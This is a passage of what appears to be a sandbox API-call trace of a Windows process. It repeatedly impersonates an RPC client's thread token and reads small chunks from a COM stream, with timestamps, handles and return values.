(Thread=0x0, Token=0x16c) returned 1 [0147.848] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x71, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.848] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.849] GetCurrentThread () returned 0xfffffffffffffffe [0147.849] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.849] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.849] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.849] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.849] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.849] GetCurrentThread () returned 0xfffffffffffffffe [0147.849] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.850] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.850] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.850] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x85, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.850] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.850] GetCurrentThread () returned 0xfffffffffffffffe [0147.850] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.850] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.850] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.850] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.850] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.851] GetCurrentThread () returned 0xfffffffffffffffe [0147.851] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.851] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.851] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.851] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.851] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.852] GetCurrentThread () returned 0xfffffffffffffffe [0147.852] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.852] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.852] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.852] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.852] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.852] GetCurrentThread () returned 0xfffffffffffffffe [0147.852] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.852] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.852] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.852] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.852] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.853] GetCurrentThread () returned 0xfffffffffffffffe [0147.853] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.853] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.853] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.853] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x42, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.853] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.854] GetCurrentThread () returned 0xfffffffffffffffe [0147.854] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.854] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.854] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.854] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.854] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.854] GetCurrentThread () returned 0xfffffffffffffffe [0147.854] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.854] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.854] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.855] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.855] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.855] GetCurrentThread () returned 0xfffffffffffffffe [0147.855] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.855] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.855] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.855] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x86, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.856] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.856] GetCurrentThread () returned 0xfffffffffffffffe [0147.856] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.856] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.856] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.856] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.856] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.857] GetCurrentThread () returned 0xfffffffffffffffe [0147.857] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.857] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.857] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.857] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.857] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.857] GetCurrentThread () returned 0xfffffffffffffffe [0147.857] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.857] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.858] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.858] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x42, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.858] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.858] GetCurrentThread () returned 0xfffffffffffffffe [0147.858] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.858] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.858] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.858] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.858] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.859] GetCurrentThread () returned 0xfffffffffffffffe [0147.859] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.859] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.859] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.859] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xde, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.859] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.860] GetCurrentThread () returned 0xfffffffffffffffe [0147.860] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.860] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.860] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.860] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.860] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.860] GetCurrentThread () returned 0xfffffffffffffffe [0147.860] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.860] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.860] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.860] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.860] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.861] GetCurrentThread () returned 0xfffffffffffffffe [0147.861] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.861] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.861] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.861] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.861] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.862] GetCurrentThread () returned 0xfffffffffffffffe [0147.862] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.862] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.862] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.862] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.862] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.862] GetCurrentThread () returned 0xfffffffffffffffe [0147.862] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.862] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.863] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.863] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.863] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.863] GetCurrentThread () returned 0xfffffffffffffffe [0147.863] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.863] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.863] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.863] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xaf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.863] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.864] GetCurrentThread () returned 0xfffffffffffffffe [0147.864] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.864] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.864] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.864] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x15, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.864] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.864] GetCurrentThread () returned 0xfffffffffffffffe [0147.865] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.865] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.865] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.865] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x57, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.865] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.865] GetCurrentThread () returned 0xfffffffffffffffe [0147.865] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.865] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.865] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.865] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.865] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.866] GetCurrentThread () returned 0xfffffffffffffffe [0147.866] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.866] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.866] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.866] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.866] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.866] GetCurrentThread () returned 0xfffffffffffffffe [0147.867] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.867] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.867] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.867] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.867] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.867] GetCurrentThread () returned 0xfffffffffffffffe [0147.867] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.867] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.867] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.867] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.867] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.868] GetCurrentThread () returned 0xfffffffffffffffe [0147.868] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.868] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.868] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.868] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.868] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.869] GetCurrentThread () returned 0xfffffffffffffffe [0147.869] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.869] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.869] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.869] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.869] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.869] GetCurrentThread () returned 0xfffffffffffffffe [0147.869] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.869] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.869] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.869] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x76, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.870] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.870] GetCurrentThread () returned 0xfffffffffffffffe [0147.870] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.870] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.870] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.870] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x23, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.870] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.871] GetCurrentThread () returned 0xfffffffffffffffe [0147.871] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.871] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.871] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.871] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.871] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.871] GetCurrentThread () returned 0xfffffffffffffffe [0147.871] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.871] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.872] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.872] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x20, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.872] GetCurrentThread () returned 0xfffffffffffffffe [0147.872] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.872] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.872] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.872] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x78, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.873] GetCurrentThread () returned 0xfffffffffffffffe [0147.873] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.873] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.873] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.873] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.873] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.873] GetCurrentThread () returned 0xfffffffffffffffe [0147.874] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.874] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.874] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.874] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x49, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.874] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.874] GetCurrentThread () returned 0xfffffffffffffffe [0147.874] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.874] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.874] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.874] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.874] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.875] GetCurrentThread () returned 0xfffffffffffffffe [0147.875] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.875] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.875] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.875] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.875] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.875] GetCurrentThread () returned 0xfffffffffffffffe [0147.876] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.876] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.876] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.876] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.876] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.990] GetCurrentThread () returned 0xfffffffffffffffe [0147.990] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.990] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.990] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.990] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x26, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.990] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.991] GetCurrentThread () returned 0xfffffffffffffffe [0147.991] OpenThreadToken (in: 